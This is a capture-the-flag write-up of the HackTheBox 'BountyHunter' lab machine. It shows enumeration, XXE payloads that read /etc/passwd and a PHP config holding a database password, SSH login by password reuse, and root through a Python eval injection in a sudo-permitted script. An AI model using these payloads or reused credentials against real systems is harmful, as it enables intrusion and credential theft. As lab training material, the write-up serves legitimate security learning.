BountyHunter Writeup
04 January 2023 #CTF #HTB #box #easy #linuxEnumeration
Hunting for bugs? Run nmap
:
$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.11.100
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d44cf5799a79a3b0f1662552c9531fe1 (RSA)
| 256 a21e67618d2f7a37a7ba3b5108e889a6 (ECDSA)
|_ 256 a57516d96958504a14117a42c1b62344 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
We can use the ssh banner to fingerprint the OS version. In this case, we learn that the box is running Ubuntu 20.04 (Focal) and this OpenSSH package was published in March 2021.
HTTP
Going to the website, we get a standard page:
Before running a gobuster
we can try accessing the page with /index.php
to see if the site is running php. In this case it does, so we'll add the extension to the scan:
$ gobuster dir -u http://10.10.11.100/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt -o enum/root.dir
[...]
/index.php (Status: 200) [Size: 25169]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/. (Status: 200) [Size: 25169]
/portal.php (Status: 200) [Size: 125]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 277]
[...]
I filtered 403 responses from Apache.
There is a /db.php
which sounds interesting, but we can't view it for now.
/resources
has directory listing enabled:
Let's take a look at README.txt
:
These info might come in handy for us later on.
/portal.php
just has another link:
Let's follow it:
We can send a bounty report:
Let's intercept the request in Burp to see what it is doing:
It's a POST request with only 1 parameter. If we select the value, the Inspector side-windows will decode the base64 for us:
Foothold
We are actually sending XML data to the server, so let's try a XXE attack. We'll copy the XML to a file on our box and modify it a bit:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM 'file:///etc/passwd'> ]>
<bugreport>
<title>title</title>
<cwe>9</cwe>
<cvss>9</cvss>
<reward>&xxe;</reward>
</bugreport>
We defined an external entity at the top and referenced it in the 'reward' tag.
We still have to base64 encode our payload:
$ base64 -w 0 xxe.xml | sed 's/+/%2B/g'
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJ1Z3JlcG9ydCBbPCFFTlRJVFkgeHhlIFNZU1RFTSAnZmlsZTovLy9ldGMvcGFzc3dkJz4gXT4KPGJ1Z3JlcG9ydD4KPHRpdGxlPnRpdGxlPC90aXRsZT4KPGN3ZT45PC9jd2U%2BCjxjdnNzPjk8L2N2c3M%2BCjxyZXdhcmQ%2BJnh4ZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2BCg==
We pipe the output to sed
to replace each +
character by its HTML encoding representation, otherwise it would be interpreted as a space.
Let's submit it:
It works! Now let's try to view a more juicy file like the /db.php
we saw with the gobuster
scan:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=db.php'> ]>
<bugreport>
<title>title</title>
<cwe>9</cwe>
<cvss>9</cvss>
<reward>&xxe;</reward>
</bugreport>
We have to use a php filter to encode the file in base64 to actually see the contents of php files.
After submiting and decoding it we get this:
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
There is a 'development' account in /etc/passwd
so we can try reusing the DB password with ssh:
$ ssh development@10.10.11.100
[...]
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
Privesc
As per usual we should start by checking sudo rules:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Code Analysis
We can run this ticketValidator
python script as root without password. Let's take at look:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Basically:
- Enter a file path. It has to end with
.md
- 1st line of the file has to start with
# Skytrain Inc
- 2nd line has to start with
## Ticket to
(space at the end) - 3rd line has to start with
__Ticket Code:__
- 4th line has to start with
**
- This line is split on
+
and it takes the first element - Convert it to an int and check if the remainder of the division by 7 is 4 (18 for example)
- The whole line is passed to
eval
(after removing**
)
- This line is split on
Exploit
Let's create the file:
# Skytrain Inc
## Ticket to root
__Ticket Code:__
**18+__import__('os').system('bash')
Since we are in an eval
statement, we can't use the classic import
, so we use the built-in __import__()
function to execute system()
and get a shell.
Let's try it:
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/dev/shm/exploit.md
Destination: root
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Always try XXE when dealing with XML
- Use php filters to view php files
- Use the
__import__()
function in python whenimport
isn't possible - It is possibe to use arithmetic operations to chain commands in python (and more)